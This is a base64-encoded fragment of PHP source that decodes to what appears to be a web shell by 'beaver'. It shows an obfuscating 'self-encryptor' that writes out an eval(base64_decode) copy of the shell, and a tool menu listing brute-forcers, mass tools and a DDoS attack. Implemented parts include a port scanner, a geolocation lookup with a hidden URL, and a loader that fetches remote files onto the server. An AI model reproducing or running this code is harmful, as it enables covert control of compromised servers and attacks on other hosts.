PjwvbGFiZWw+DQoJCQkJCTwvZm9ybT4iOw0KCQl9DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0idXBkYXRlIikNCgl7DQoJCSRsaW5rX3VwZGF0ZT0nJzsNCgkJJGN1cnJlbnRfdmVyc2lvbj0yLjc7IC8vTmV3IFZlcnNpb24gUmVsZWFzZWQNCg0KCQlpZigkY29uZmlnWydkZWJ1ZyddPT10cnVlKQ0KCQl7DQoJCQkkbGF0ZXN0X3ZlcnNpb249JGN1cnJlbnRfdmVyc2lvbiswLjE7IC8vVGVzdCBVcGRhdGUgbGF0ZXN0IHZlcnNpb24gLS8rIDAuMQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJGdpdF9zY3JpcHQ9R2V0VXJsQ29udGVudCgkbGlua191cGRhdGUpOw0KCQkJJGdldF92ZXJzaW9uPXN0cnBvcygkZ2l0X3NjcmlwdCwiY3VycmVudF92ZXJzaW9uIik7DQoJCQkkdmVyc2lvbj1zdWJzdHIoJGdpdF9zY3JpcHQsJGdldF92ZXJzaW9uKzE2LDMpOw0KCQkJJGxhdGVzdF92ZXJzaW9uPWlzX251bWVyaWMoJHZlcnNpb24pPyR2ZXJzaW9uOiRjdXJyZW50X3ZlcnNpb247DQoJCX0NCg0KCQkkc3RhdHVzPSIiOw0KCQlpZigoZmxvYXQpJGxhdGVzdF92ZXJzaW9uPihmbG9hdCkkY3VycmVudF92ZXJzaW9uKQ0KCQl7DQoJCQlpZigkY29uZmlnWydkZWJ1ZyddPT10cnVlKQ0KCQkJew0KCQkJCSRzdGF0dXMuPSdOZXcgVmVyc2lvbiBBdmFpbGFibGUgJy4kbGF0ZXN0X3ZlcnNpb24uJzxicj5TZXR0aW5nIERlYnVnIHRvIEZhbHNlIGZvciBBY3RpdmF0ZSB0aGlzIEZlYXR1cmUnOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRzdGF0dXMuPSdOZXcgVmVyc2lvbiBBdmFpbGFibGUgJy4kbGF0ZXN0X3ZlcnNpb24uJzxicj5Eb3dubG9hZCAtPiBbPGZvbnQgY2xhc3M9Im9uIj48YSBocmVmPSInLiRsaW5rX3VwZGF0ZS4nIiB0YXJnZXQ9Il9ibGFuayI+bGluazwvYT48L2ZvbnQ+XSc7DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkc3RhdHVzLj0nTGF0ZXN0IFZlcnNpb24gJy4kY3VycmVudF92ZXJzaW9uOw0KCQl9DQoNCgkJUHJpbnRmKCI8ZGl2IGlkPSd1cGRhdGUnPg0KCQkJCQk8YSBocmVmPSdodHRwczovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0zLjAudHh0JyB0YXJnZXQ9J19ibGFuaycgdGl0bGU9J0xpY2Vuc2UnPg0KCQkJCQkJPGltZyBzcmM9J2h0dHBzOi8vd3d3LmdudS5vcmcvZ3JhcGhpY3MvbGdwbHYzLTg4eDMxLnBuZycvPg0KCQkJCQk8L2E+PGJyPjxicj4lcw0KCQkJCTwvZGl2PiIsJHN0YXR1cyk7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0ic2VsZi1lbmNyeXB0b3IiKQ0KCXsNCgkJaWYoJHBocF9zY3JpcHQ9aHRtbGVudGl0aWVzKEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpKQ0KCQl7DQoJCQkkYXN1PXN0cnBvcygkcGhwX3NjcmlwdCwkX1NFU1NJT05bImFjdGlvbiJdWyJwYXNzd29yZCJdKTsNCgkJCSR0ZW1wPXN1YnN0cigkcGhwX3NjcmlwdCwkYXN1KzQ4KTsNCgkJCSRyYW5kPSJcJCIuc3Vic3RyKHN0cl9zaHVmZmxlKCJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiIpLDAscmFuZCgxLDMpKTsNCgkJCSRyYW5kMj0iXCQiLnN1YnN0cihzdHJfc2h1ZmZsZSgiYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiKSwwLHJhbmQoMiw1KSk7DQoJCQkkX2E9ImIiOyRfYj0iYSI7JF9jPSJzIjskX2Q9ImUiOyRfZT0iNiI7JF9mPSI0IjsNCgkJCSRfZz0iXyI7JF9oPSJlIjskX2k9Im4iOyRfaj0iYyI7JF9rPSJvIjskX2w9ImQiOyRfbT0iZSI7DQoJCQkkYjY0ZT0kX2EuJF9iLiRfYy4kX2QuJF9lLiRfZi4kX2cuJF9oLiRfaS4kX2ouJF9rLiRfbC4kX207DQoJCQkkYjY0ZD0kX2EuJF9iLiRfYy4kX2QuJF9lLiRfZi4kX2cuJF9sLiRfbS4kX2ouJF9rLiRfbC4kX207DQoJCQkkYjY0PWFycmF5KA0KCQkJCSciXDE0MlwxNDFcMTYzXHg2NVw2Nlx4MzRcMTM3XHg2NFx4NjVceDYzXDE1N1wxNDRcMTQ1IicsDQoJCQkJJ3N0cnJldigiZWQiLiJvY2UiLiJkXzQiLiI2ZXMiLiJhYiIpJywNCgkJCQknc3RycmV2KCJlIi4iZG9jIi4iZWRfIi4iNDZlIi4ic2FiIiknLA0KCQkJCSciYiIuImFzIi4iZTYiLiI0XyIuImQiLiJlYyIuIm8iLiJkZSInLA0KCQkJCSciYmEiLiJzZSIuIjYiLiI0X2QiLiJlIi4iY29kIi4iZSInIA0KCQkJKTsNCgkJCSRyYW5kX2I2ND1hcnJheV9yYW5kKCRiNjQpOw0KCQkJJHJhbmQzPSRiNjRbJHJhbmRfYjY0XTsNCgkJCSR2YXIxPSRyYW5kLic9IicuJF9TRVNTSU9OWyJhY3Rpb24iXVsidXNlcm5hbWUiXS4nOicuJF9TRVNTSU9OWyJhY3Rpb24iXVsicGFzc3dvcmQiXS4nIjsnOw0KCQkJJHZhcjI9JHJhbmQyLic9Jy4kcmFuZDMuJzsnOw0KCQkJJHZhcj1hcnJheSgNCgkJCQkkdmFyMS4kdmFyMiwNCgkJCQkkdmFyMi4kdmFyMQ0KCQkJKTsNCgkJCSRyYW5kX3Zhcj1hcnJheV9yYW5kKCR2YXIpOw0KCQkJJHJhbmQ0PSR2YXJbJHJhbmRfdmFyXTsNCgkJCSRzZWxmPXByZWdfcmVwbGFjZSgiL1xcXCR3LyIsJHJhbmQsJHRlbXApOyAvLyBDaGFuZ2UgVmFyaWFibGUgJHcgdG8gUmFuZG9tIA0KCQkJJHNyY189Jyc7DQoJCQkkc3JjXy49Jzw/cGhwICc7DQoJCQkkc3JjXy49JHJhbmQ0Ow0KCQkJJHNyY18uPSdAZXZhbCgnLiRyYW5kMi4nKCInOw0KCQkJJHNyY18uPSRiNjRlKGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKCRzZWxmKSk7DQoJCQkkc3JjXy49JyIpKSc7DQoJCQkkc3JjXy49Jz8+JzsNCgkJCSRuYW1lPSFlbXB0eSgkX1JFUVVFU1RbJ25hbWUnXSk/JF9SRVFVRVNUWyduYW1lJ106J2JhdF9lbmNyeXB0LnBocCc7DQoJCQkkZmlsZT1kaXJuYW1lKF9fRklMRV9fKS5fLiRuYW1lOw0KCQkJJG9wPWZvcGVuKCRmaWxlLCd3KycpOw0KCQkJZndyaXRlKCRvcCwkc3JjXyk7DQoJCQlmY2xvc2UoJG9wKTsNCgkJCXByaW50ZigiPGNlbnRlciBjbGFzcz0nb24nPlNFTEYgRU5DUllQVCBDUkVBVEVEICEhITwvY2VudGVyPg0KCQkJCQk8Y2VudGVyIGNsYXNzPSdvbic+DQoJCQkJCQlMaW5rIC0+IDxhIGhyZWY9JyVzJyB0YXJnZXQ9J19ibGFuayc+PHU+JXM8L3U+PC9hPg0KCQkJCQk8L2NlbnRlcj4iLEdldFVybEZyb21QYXRoKCRmaWxlKSwkbmFtZSk7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiPGNlbnRlciBjbGFzcz0nb2ZmJz5TRUxGIEVOQ1JZUFQgRU5BQkxFICEhITwvY2VudGVyPiI7DQoJCX0NCgl9DQp9DQoNCi8qIFNUQVJUIENVU1RPTSBUT09MWiAqLw0KaWYoYW55KCJ6IiwkX1JFUVVFU1QpKQ0Kew0KCSR6PSRfUkVRVUVTVFsneiddOw0KDQoJcHJpbnQgTWVudVRvb2xzKGFycmF5KA0KCSJ0YXJnZXQtbWFwIj0+YXJyYXkoInRpdGxlIj0+IlRhcmdldCBNYXAiLCJ2ZXIiPT4iMi4wIiwiYXV0aCI9PiJiZWF2ZXIiKSwNCgkicG9ydC1zY2FubmVyIj0+YXJyYXkoInRpdGxlIj0+IlNjYW4gUG9ydCIsInZlciI9PiIxLjAiLCJhdXRoIj0+ImJlYXZlciIpLA0KCSJzY3JpcHQtbG9hZGVyIj0+YXJyYXkoInRpdGxlIj0+IlNjcmlwdCBMb2FkZXIiLCJ2ZXIiPT4iMS4wIiwiYXV0aCI9PiJiZWF2ZXIiKSwNCgkiZW5jcnlwdG9yIj0+YXJyYXkoInRpdGxlIj0+IkVuY3J5cHRvciIsInZlciI9PiIxLjEiLCJhdXRoIj0+ImJlYXZlciIpLA0KCSJmb3JtLWJydXRlZm9yY2VzIj0+YXJyYXkoInRpdGxlIj0+IkZvcm0gQnJ1dGVmb3JjZXMiLCJ2ZXIiPT4iMS4wIiwiYXV0aCI9PiJiZWF2ZXIiKSwNCgkibG9naW4tYnJ1dGVmb3JjZXMiPT5hcnJheSgidGl0bGUiPT4iTG9naW4gQnJ1dGVmb3JjZXMiLCJ2ZXIiPT4iMS4wIiwiYXV0aCI9PiJiZWF2ZXIiKSwNCgkibWFzcy10b29scyI9PmFycmF5KCJ0aXRsZSI9PiJNYXNzIFRvb2xzIiwidmVyIj0+IjEuMCIsImF1dGgiPT4iYmVhdmVyIiksDQoJImRkb3MtYXR0YWNrIj0+YXJyYXkoInRpdGxlIj0+IkRET1MgQXR0YWNrIiwidmVyIj0+IjIuMCIsImF1dGgiPT4iYmVhdmVyIiksDQoJKSk7DQoNCglwcmludCAiPGRpdiBpZD0ndG9vbHMnPiI7DQoNCglpZihlbXB0eSgkeikpDQoJew0KCQlwcmludGYoIjxkaXYgaWQ9J3RoYW5rcyc+DQoJCQkJCTxoMj5Ob3RoaW5nIElzIFNlY3VyZS4uLjwvaDI+DQoJCQkJCTxoMz5XSFkgU08gc2VyaW91cyA/ITwvaDM+DQoJCQkJPC9kaXY+Iik7DQoJfQ0KCWlmKCR6PT0idGFyZ2V0LW1hcCIpDQoJew0KCQlwcmludCAiPGRpdiBjbGFzcz0ndG9vbHMtaGVhZGVyJz4NCgkJCQkgIDxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQkJICA8aDM+IGJ5OiAiLiRtZW51X3Rvb2xzWyR6XVsnYXV0aCddLiI8L2gzPg0KCQkJICA8L2Rpdj4iOw0KDQoJCXByaW50ZigiPGRpdiBpZD0ndGFyZ2V0LW1hcCc+DQoJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOycgY2xhc3M9J25ldyc+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSdtYXAtaXAnIHZhbHVlPSclcycvPg0KCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdUcmFjZScgb25jbGljaz1cInJldHVybiBnZXRBamF4KHRydWUsJ3RhcmdldC1pbmZvJywnUE9TVCcsJz96PXRhcmdldC1tYXAmaXA9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWFwLWlwJykudmFsdWUpO1wiLz48YnI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCQk8ZGl2IGlkPSd0YXJnZXQtaW5mbycgY2xhc3M9J3Jlc3VsdCc+PC9kaXY+IixnZXRob3N0YnluYW1lKGh0dHBfaG9zdCkpOw0KDQoJCWlmKGFueSgiaXAiLCRfUkVRVUVTVCkpDQoJCXsNCgkJCW9iX2NsZWFuKCk7DQoJCQkkaXA9IWVtcHR5KCRfUkVRVUVTVFsnaXAnXSkgPyAkX1JFUVVFU1RbJ2lwJ10gOiBnZXRob3N0YnluYW1lKGh0dHBfaG9zdCk7DQoJCQkkdmFsaWQ9ZmlsdGVyX3ZhcigkaXAsRklMVEVSX1ZBTElEQVRFX0lQKSBvciBkaWUoJ0ludmFsaWQgSVAgQWRkcmVzcycpOw0KCQkJaWYoJF9SRVFVRVNUWydpcCddPT1nZXRob3N0YnluYW1lKGh0dHBfaG9zdCkpIA0KCQkJew0KCQkJCSR1cmw9QjY0RCgielNJOXhXbGVPN29kT0RVZHpINHF5Nzllem1NZXlyMT0iKTsNCgkJCQkkZ2VvaXA9R2V0VXJsQ29udGVudCgkdXJsKTsNCgkJCQkkanNvbj1qc29uX2RlY29kZSgkZ2VvaXAsdHJ1ZSk7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHVybD1zcHJpbnRmKEI2NEQoInpTSTl4V2xlTzdvZE9EVWR6SDRxeTc5ZXptTWV5cjE9IikuIiVzIiwkaXApOw0KCQkJCSRnZW9pcD1HZXRVcmxDb250ZW50KCR1cmwpOw0KCQkJCSRqc29uPWpzb25fZGVjb2RlKCRnZW9pcCx0cnVlKTsNCgkJCX0NCgkJCSR1cmw9c3ByaW50ZihCNjREKCJ6U0k5eFNOM09iMGdCQ1lhT253ZXk3d2hBSDRrd1gwZ0JDWWEiKS4iP3E9JXMsJXMmej0xMCZvdXRwdXQ9ZW1iZWQiLCRqc29uWydsYXQnXSwkanNvblsnbG9uJ10pOw0KCQkJcHJpbnRmKCI8ZGl2IGNsYXNzPSdkaXZpZGUnPg0KCQkJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPg0KCQkJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUnPg0KCQkJCQkJCQk8dHI+PHRkPkFTPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+Q2l0eTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPkNvdW50cnk8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5Db3VudHJ5IENvZGU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5JU1A8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5MYXRpdHVkZTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPkxvZ2l0dWRlPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJPC90YWJsZT4NCgkJCQkJCTwvZGl2Pg0KCQkJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPg0KCQkJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUnPg0KCQkJCQkJCQk8dHI+PHRkPk9yaWdpbjwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPklQPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+UmVnaW9uPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+UmVnaW9uIE5hbWU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5UaW1lem9uZTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPlppcDwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPlN0YXR1czwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCTwvdGFibGU+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJPC9kaXY+DQoJCQkJCTxpZnJhbWUgc3JjPSclcycgd2lkdGg9JzEwMCUlJyBoZWlnaHQ9JzM0NScgZnJhbWVCb3JkZXI9JzAnPjxpZnJhbWU+IiwNCgkJCQkJJGpzb25bJ2FzJ10sDQoJCQkJCSRqc29uWydjaXR5J10sDQoJCQkJCSRqc29uWydjb3VudHJ5J10sDQoJCQkJCSRqc29uWydjb3VudHJ5Q29kZSddLA0KCQkJCQkkanNvblsnaXNwJ10sDQoJCQkJCSRqc29uWydsYXQnXSwNCgkJCQkJJGpzb25bJ2xvbiddLA0KCQkJCQkkanNvblsnb3JnJ10sDQoJCQkJCSRqc29uWydxdWVyeSddLA0KCQkJCQkkanNvblsncmVnaW9uJ10sDQoJCQkJCSRqc29uWydyZWdpb25OYW1lJ10sDQoJCQkJCSRqc29uWyd0aW1lem9uZSddLA0KCQkJCQkkanNvblsnemlwJ10sDQoJCQkJCSRqc29uWydzdGF0dXMnXSwNCgkJCQkJJHVybCk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCR6PT0icG9ydC1zY2FubmVyIikNCgl7DQoJCXByaW50ICI8ZGl2IGNsYXNzPSd0b29scy1oZWFkZXInPg0KCQkJCSAgPGgzPiIuJG1lbnVfdG9vbHNbJHpdWyd0aXRsZSddLiIgdiIuJG1lbnVfdG9vbHNbJHpdWyd2ZXInXS4iPC9oMz4NCgkJCQkgIDxoMz4gYnk6ICIuJG1lbnVfdG9vbHNbJHpdWydhdXRoJ10uIjwvaDM+DQoJCQkgIDwvZGl2PiI7DQoNCgkJcHJpbnRmKCI8ZGl2IGlkPSdwb3J0LXNjYW4nPg0KCQkJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOycgY2xhc3M9J25ldyc+DQoJCQkJCQk8bGFiZWw+SG9zdCBQb3J0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2lwLXBvcnQnIHZhbHVlPSclcycvPjxicj4NCgkJCQkJCTxsYWJlbD5TdGFydCBQb3J0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3N0YXJ0LXBvcnQnIHZhbHVlPScxJy8+PGJyPg0KCQkJCQkJPGxhYmVsPkVuZCBQb3J0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VuZC1wb3J0JyB2YWx1ZT0nNjU1MzUnLz48YnI+DQoJCQkJCQk8bGFiZWw+TWV0aG9kZTwvbGFiZWw+PHNlbGVjdCBpZD0nc2Nhbi1wb3J0Jz48b3B0aW9uIHZhbHVlPScxJz5zb2NrZXRfY29ubmVjdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JzInPmZzb2Nrb3Blbjwvb3B0aW9uPjwvc2VsZWN0Pjxicj4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCJyZXR1cm4gZ2V0QWpheCh0cnVlLCdwb3J0LXJlc3VsdCcsJ1BPU1QnLCc/ej1wb3J0LXNjYW5uZXImeD1zY2FuLXBvcnQmaXA9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaXAtcG9ydCcpLnZhbHVlKycmc3A9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RhcnQtcG9ydCcpLnZhbHVlKycmZXA9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZW5kLXBvcnQnKS52YWx1ZSsnJm10ZD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzY2FuLXBvcnQnKS52YWx1ZSk7XCIgdmFsdWU9U2NhbiAvPg0KCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgb25jbGljaz1cInJldHVybiBhamF4QWJvcnQodHJ1ZSwncG9ydC1yZXN1bHQnKVwiIHZhbHVlPUNhbmNlbCAvPg0KCQkJCQk8L2Zvcm0+DQoJCQkJPC9kaXY+DQoJCQkJPGRpdiBpZD0ncG9ydC1yZXN1bHQnIGNsYXNzPSdyZXN1bHQnPjwvZGl2PiIsZ2V0aG9zdGJ5bmFtZShodHRwX2hvc3QpKTsNCg0KCQlpZihhbnkoIngiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneCddPT0ic2Nhbi1wb3J0IikNCgkJew0KCQkJb2JfY2xlYW4oKTsNCgkJCSRob3N0PSRfUkVRVUVTVFsnaXAnXTsNCgkJCSRmcm9tPSRfUkVRVUVTVFsnc3AnXTsNCgkJCSR0byAgPSRfUkVRVUVTVFsnZXAnXTsNCgkJCSRtdGQgPSRfUkVRVUVTVFsnbXRkJ107DQoJCQlzd2l0Y2goJG10ZCkNCgkJCXsNCgkJCQljYXNlICcxJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzb2NrZXRfY3JlYXRlJykpDQoJCQkJCXsNCgkJCQkJCSRzb2NrZXQ9QHNvY2tldF9jcmVhdGUoQUZfSU5FVCAsU09DS19TVFJFQU0gLFNPTF9UQ1ApOyANCgkJCQkJCWZvcigkY29ubl9wb3J0PSRmcm9tOyRjb25uX3BvcnQgPD0kdG87JGNvbm5fcG9ydCsrKQ0KCQkJCQkJew0KCQkJCQkJCSRjb25uPUBzb2NrZXRfY29ubmVjdCgkc29ja2V0ICwkaG9zdCwkY29ubl9wb3J0KTsNCgkJCQkJCQlpZigkY29ubikgDQoJCQkJCQkJeyANCgkJCQkJCQkJcHJpbnQgIjxicj5wb3J0ICRjb25uX3BvcnQgb3BlbiI7DQoJCQkJCQkJCXNvY2tldF9jbG9zZSgkc29ja2V0KTsNCgkJCQkJCQkJJHNvY2tldD1Ac29ja2V0X2NyZWF0ZShBRl9JTkVUICxTT0NLX1NUUkVBTSAsU09MX1RDUCk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJcHJpbnQgIkVycm9yIHNvY2tldF9jb25uZWN0PGJyPiI7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCQljYXNlICcyJzoNCgkJCQkJZm9yKCRjb25uX3BvcnQ9JGZyb207JGNvbm5fcG9ydCA8PSR0bzskY29ubl9wb3J0KyspDQoJCQkJCXsNCgkJCQkJCSRjb25uPUBmc29ja29wZW4oJGhvc3QsJGNvbm5fcG9ydCk7DQoJCQkJCQlpZigkY29ubikNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAiPGJyPnBvcnQgJGNvbm5fcG9ydCBvcGVuIjsNCgkJCQkJCQlmY2xvc2UoJGNvbm4pOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlwcmludCAiPGJyPlNjYW4gRmluaXNoLiI7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCR6PT0ic2NyaXB0LWxvYWRlciIpDQoJew0KCQlwcmludCAiPGRpdiBjbGFzcz0ndG9vbHMtaGVhZGVyJz4NCgkJCQkgIDxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQkJICA8aDM+IGJ5OiAiLiRtZW51X3Rvb2xzWyR6XVsnYXV0aCddLiI8L2gzPg0KCQkJICA8L2Rpdj4iOw0KDQoJCSRwYXRoPWRpcm5hbWUoX19GSUxFX18pLl8uJ3NjcmlwdC1sb2FkZXInOw0KCQlpZighaXNfZGlyKCRwYXRoKSkgbWtkaXIoJHBhdGgsMDc1NSk7DQoNCgkJJHJlY3VyPW5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKA0KCQkgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSwNCgkJICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZIA0KCQkpOw0KDQoJCSRyZXN1bHQ9IiI7DQoJCWZvcmVhY2ggKCRyZWN1ciBhcyAka2V5ID0+ICR2YWwpIA0KCQl7DQoJCQlpZihiYXNlbmFtZSgka2V5KSE9Ii4uIiYmYmFzZW5hbWUoJGtleSkhPSIuIikNCgkJCXsNCgkJCQkkcmVzdWx0Lj1zcHJpbnRmKCI8dHI+DQoJCQkJCQk8dGQ+PC90ZD4NCgkJCQkJCTx0ZD48YSBocmVmPSclcycgdGFyZ2V0PSdfYmxhbmsnPiVzPC9hPjwvdGQ+DQoJCQkJCQk8dGQ+PGNlbnRlcj4lczwvY2VudGVyPjwvdGQ+DQoJCQkJCQk8L3RyPiIsDQoJCQkJCQlHZXRVcmxGcm9tUGF0aChyZWFscGF0aCgka2V5KSksDQoJCQkJCQliYXNlbmFtZShyZWFscGF0aCgka2V5KSksDQoJCQkJCQlHZXRGaWxlVGltZShyZWFscGF0aCgka2V5KSwnbW9kaWZ5JykNCgkJCQkpOw0KCQkJfQ0KCQl9DQoNCgkJcHJpbnRmKCI8ZGl2IGlkPSdzY3JpcHQtbG9hZGVyJz4NCgkJCQkJPGRpdiBjbGFzcz0nZGl2aWRlJz4NCgkJCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQkJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOycgY2xhc3M9J25ldyc+DQoJCQkJCQkJCTxsYWJlbD5Vcmw8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ndXJsLXNvdXJjZScgdmFsdWU9JycvPjxicj4NCgkJCQkJCQkJPGxhYmVsPkZpbGVuYW1lPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2ZpbGUtbmFtZScgdmFsdWU9JycvPjxicj4NCgkJCQkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgb25jbGljaz1cInJldHVybiBnZXRBamF4KHRydWUsJ2Rvd25sb2FkLXJlc3VsdCcsJ1BPU1QnLCc/ej1zY3JpcHQtbG9hZGVyJnVybD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cmwtc291cmNlJykudmFsdWUrJyZmaWxlbmFtZT0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlLW5hbWUnKS52YWx1ZSk7XCIvPjxicj4NCgkJCQkJCQkJPGRpdiBpZD0nZG93bmxvYWQtcmVzdWx0JyBjbGFzcz0ncmVzdWx0Jz48L2Rpdj4NCgkJCQkJCQk8L2Zvcm0+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1yaWdodCc+DQoJCQkJCQkJPGZpZWxkc2V0Pg0KCQkJCQkJCQk8bGVnZW5kPkxpc3QnczwvbGVnZW5kPg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSdhdXRvLW51bWJlcic+DQoJCQkJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlJz4NCgkJCQkJCQkJCTx0aGVhZD48dHI+PHRoPk5vLjwvdGg+PHRoPk5hbWU8L3RoPjx0aD5Nb2RpZmllZDwvdGg+DQoJCQkJCQkJCQk8dGJvZHk+JXM8L3Rib2R5Pg0KCQkJCQkJCQkJPC90YWJsZT4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJPC9maWVsZHNldD4NCgkJCQkJCTwvZGl2Pg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Rpdj4iLCRyZXN1bHQpOw0KDQoJCWlmKGFueSgidXJsIiwkX1JFUVVFU1QpJiZhbnkoImZpbGVuYW1lIiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJHVybD0kX1JFUVVFU1RbJ3VybCddOw0KCQkJJGZpbGVuYW1lPSRfUkVRVUVTVFsnZmlsZW5hbWUnXTsNCgkJCSRkZXN0PXJ0cmltKCRwYXRoLF8pLl8uJGZpbGVuYW1lOw0KCQkJaWYoR2V0VXJsRXhpc3RzKCR1cmwpJiYhZW1wdHkoJGZpbGVuYW1lKSkNCgkJCXsNCgkJCQlpZihHZXREb3dubG9hZFVybCgkdXJsLCRkZXN0KSkNCgkJCQl7DQoJCQkJCSR1cmw9R2V0VXJsRnJvbVBhdGgoJGRlc3QpOw0KCQkJCQlwcmludGYoIlN1Y2Nlc3MgLT4gPGEgaHJlZj0nJHVybCcgdGFyZ2V0PSdfYmxhbmsnPjx1Pkxpbms8L3U+PC9hPiIpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludCAiPGJyPkZhaWxlZCI7DQoJCQkJfQ0KCQkJCXByaW50ICI8YnI+RmluaXNoIjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPGJyPk1pc3Rha2VzIjsNCgkJCX0NCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJHo9PSJlbmNyeXB0b3IiKQ0KCXsNCgkJcHJpbnQgIjxkaXYgY2xhc3M9J3Rvb2xzLWhlYWRlcic+DQoJCQkJICA8aDM+Ii4kbWVudV90b29sc1skel1bJ3RpdGxlJ10uIiB2Ii4kbWVudV90b29sc1skel1bJ3ZlciddLiI8L2gzPg0KCQkJCSAgPGgzPiBieTogIi4kbWVudV90b29sc1skel1bJ2F1dGgnXS4iPC9oMz4NCgkJCSAgPC9kaXY+IjsNCg0KCQlwcmludGYoIjxkaXYgaWQ9J3NjcmlwdC1sb2FkZXInPg0KCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnIGNsYXNzPSduZXcnPg0KCQkJCTxkaXYgY2xhc3M9J2hhc2gtY29udHJvbCc+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gnPg0KCQkJCQkJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdlbmNyJyB2YWx1ZT0nYm